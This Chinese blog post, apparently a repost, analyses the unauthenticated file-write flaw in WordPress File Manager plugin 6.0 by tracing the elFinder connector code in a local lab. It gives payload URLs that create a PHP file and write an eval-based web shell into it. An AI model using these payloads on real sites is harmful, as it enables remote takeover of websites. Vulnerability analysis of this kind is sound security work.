WordPress 插件命令执行

Andrew 2020-10-16
Web安全 发布于 2020-10-16 16:35:48 阅读 66 评论 0

环境搭建

利用phpstudy搭建wordpress,
http://wordpress.test/wp-admin/plugin-install.php
将解压一次后的漏洞插件压缩包上传并启用插件。

File Manager插件6.0版本
https://wordpress.org/plugins/wp-file-mana...

漏洞利用

这段代码来自 elFinder 项目,这是一个向 Web 应用程序提供文件浏览器 GUI 的框架。这个非常具体的代码仅作为示例,而不能在生产应用程序中直接使用。但是,正如我们所看到的,使用了它,结果是可以执行这部分代码而无需进行身份验证。

在 exp-db 搜索 elFinder

下载下来的漏洞利用文件需要修改部分

漏洞分析

发送一个这样的payload来进行创建文件的操作
http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=mkfile&name=test.php&target=l1_Lw

漏洞触发位置/wp-content/plugins/wp-file-manager/lib/php``/connector.minimal.php

通过创建elFinderConnector对象,进而调用elFinderConnector.run

读取所有的请求参数保存到 $src 中,$cmd 获取 cmd 变量。\elFinderConnector::run

接着执行到循环foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {$cmd 进行校验

跟进函数commandArgsList
\elFinder::commandArgsList

\elFinder::commandExists

通过判断$cmd ,在 $this->commands[$cmd] 中发现了可以调用的方法\elFinder::$commands

继续执行,发现 $this->output($this->elFinder->exec($cmd, $args));

\elFinder::exec

控制$cmd= makedile 时, 为满足条件继续向下执行,需要传入$target 或者 $dst

$this->volume($dst)根据传入的$dst 前缀进行选择 l1_或者t1_ 我们在后面进行调试时会发现生成文件的位置前缀为所对应的 root 的值 ,所以我们在这里选择l1_
\elFinder::volume

继续执行到动态调用,通过$result = $this->$cmd($args);调用makefile方法。
\elFinderVolumeDriver::mkfile

$path = $this->decode($dst);

\elFinderVolumeDriver::decode

decode 函数先将$hash的值根据$this->id进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的 $this->root

返回$path =E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files
继续回到 mkfile 函数中执行

\elFinderVolumeLocalFileSystem::_mkfile

最后顺利生成文件在 `
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php

对于网站的位置就是\wp-content\plugins\wp-file-manager\lib\files\test.php`

然后再调用 PUT 方法,传值到 mkfile 生成的文件内。

http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=put&target=l1_dGVzdC5waHA=&content=<?php eval($_GET['cmd']);?>

前一部分不在详述,直接跟到$result = $this->$cmd($args);调用 put 方法

\elFinder::put

\elFinderVolumeDriver::putContents

\elFinderVolumeDriver::decode

decode 函数 先将$hash 的值根据 $this->id 进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的$this->root 最后会返回 $path 的值为E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php
\elFinderVolumeLocalFileSystem::_filePutContents

成功将字符串写入文件中


成功利用还可以直接利用upload方法,上传文件

\elFinder::upload

原文链接:https://mp.weixin.qq.com/s/czuzsPUq8HSQntw...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!